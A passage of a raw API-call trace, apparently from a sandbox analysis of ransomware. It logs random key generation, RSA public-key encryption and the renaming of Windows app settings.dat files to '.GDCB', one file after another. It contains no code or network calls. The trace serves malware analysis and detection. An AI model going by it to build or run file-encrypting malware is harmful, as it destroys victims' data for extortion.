hKey=0x648ad00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.776] CryptEncrypt (in: hKey=0x648ad00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7070000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7070000*, pdwDataLen=0x285d630*=0x100) returned 1 [0213.776] GetLastError () returned 0x0 [0213.776] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.776] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0213.778] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7080000 [0213.779] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7090000 [0213.780] ReadFile (in: hFile=0x510, lpBuffer=0x7090000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7090000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0213.789] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x71a0000 [0213.794] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0213.833] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0213.834] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.835] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.836] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0213.836] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0213.836] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0213.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.838] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.838] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0213.838] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0213.838] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0213.841] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ae00) returned 1 [0213.841] CryptGetKeyParam (in: hKey=0x648ae00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.841] CryptEncrypt (in: hKey=0x648ae00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7060000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7060000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0213.841] GetLastError () returned 0x0 [0213.841] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0213.841] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0213.843] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ad40) returned 1 [0213.843] CryptGetKeyParam (in: hKey=0x648ad40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.843] CryptEncrypt (in: hKey=0x648ad40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7070000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7070000*, pdwDataLen=0x285d630*=0x100) returned 1 [0213.843] GetLastError () returned 0x0 [0213.843] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0213.843] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0213.845] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7080000 [0213.846] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7090000 [0213.847] ReadFile (in: hFile=0x510, lpBuffer=0x7090000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7090000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0213.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x71a0000 [0213.874] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0213.942] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0213.944] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.945] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.945] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0213.945] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0213.945] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0213.947] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.948] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.948] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0213.948] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.948] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0213.950] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ad80) returned 1 [0213.950] CryptGetKeyParam (in: hKey=0x648ad80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.950] CryptEncrypt (in: hKey=0x648ad80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7060000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7060000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0213.950] GetLastError () returned 0x0 [0213.950] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0213.950] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0213.952] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648aa80) returned 1 [0213.952] CryptGetKeyParam (in: hKey=0x648aa80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.952] CryptEncrypt (in: hKey=0x648aa80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7070000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7070000*, pdwDataLen=0x285d630*=0x100) returned 1 [0213.953] GetLastError () returned 0x0 [0213.953] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0213.953] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.983] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0213.985] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.986] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.986] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0213.986] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.986] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0213.987] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.988] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.988] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0213.988] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0213.989] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0213.991] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648aac0) returned 1 [0213.991] CryptGetKeyParam (in: hKey=0x648aac0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.991] CryptEncrypt (in: hKey=0x648aac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7080000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7080000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0213.991] GetLastError () returned 0x0 [0213.991] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.991] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0213.993] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ab00) returned 1 [0213.993] CryptGetKeyParam (in: hKey=0x648ab00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.993] CryptEncrypt (in: hKey=0x648ab00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7090000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7090000*, pdwDataLen=0x285d630*=0x100) returned 1 [0213.993] GetLastError () returned 0x0 [0213.993] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.993] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0214.020] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0214.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.023] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.023] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0214.023] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0214.023] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0214.025] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.026] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.026] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0214.026] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0214.027] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0214.029] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ab80) returned 1 [0214.029] CryptGetKeyParam (in: hKey=0x648ab80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.029] CryptEncrypt (in: hKey=0x648ab80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x70a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0214.029] GetLastError () returned 0x0 [0214.029] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.029] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0214.031] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648afc0) returned 1 [0214.031] CryptGetKeyParam (in: hKey=0x648afc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.031] CryptEncrypt (in: hKey=0x648afc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x70b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0214.031] GetLastError () returned 0x0 [0214.031] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0214.031] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0214.033] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x70c0000 [0214.034] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x70d0000 [0214.035] ReadFile (in: hFile=0x510, lpBuffer=0x70d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x70d0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0214.044] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x71e0000 [0214.048] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0214.086] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0214.088] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.089] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.089] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0214.089] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.089] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0214.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.092] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0214.092] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.092] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0214.094] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a880) returned 1 [0214.094] CryptGetKeyParam (in: hKey=0x648a880, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.094] CryptEncrypt (in: hKey=0x648a880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x70a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0214.094] GetLastError () returned 0x0 [0214.094] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.094] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0214.096] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ae80) returned 1 [0214.096] CryptGetKeyParam (in: hKey=0x648ae80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.096] CryptEncrypt (in: hKey=0x648ae80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x70b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0214.097] GetLastError () returned 0x0 [0214.097] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.097] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0214.098] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x70c0000 [0214.100] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x70d0000 [0214.101] ReadFile (in: hFile=0x510, lpBuffer=0x70d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x70d0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0214.109] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x71e0000 [0214.114] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0214.210] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0214.212] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.213] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.214] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0214.214] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.214] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0214.215] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.216] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.216] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0214.216] CryptReleaseContext (hProv=0x5c4e48, 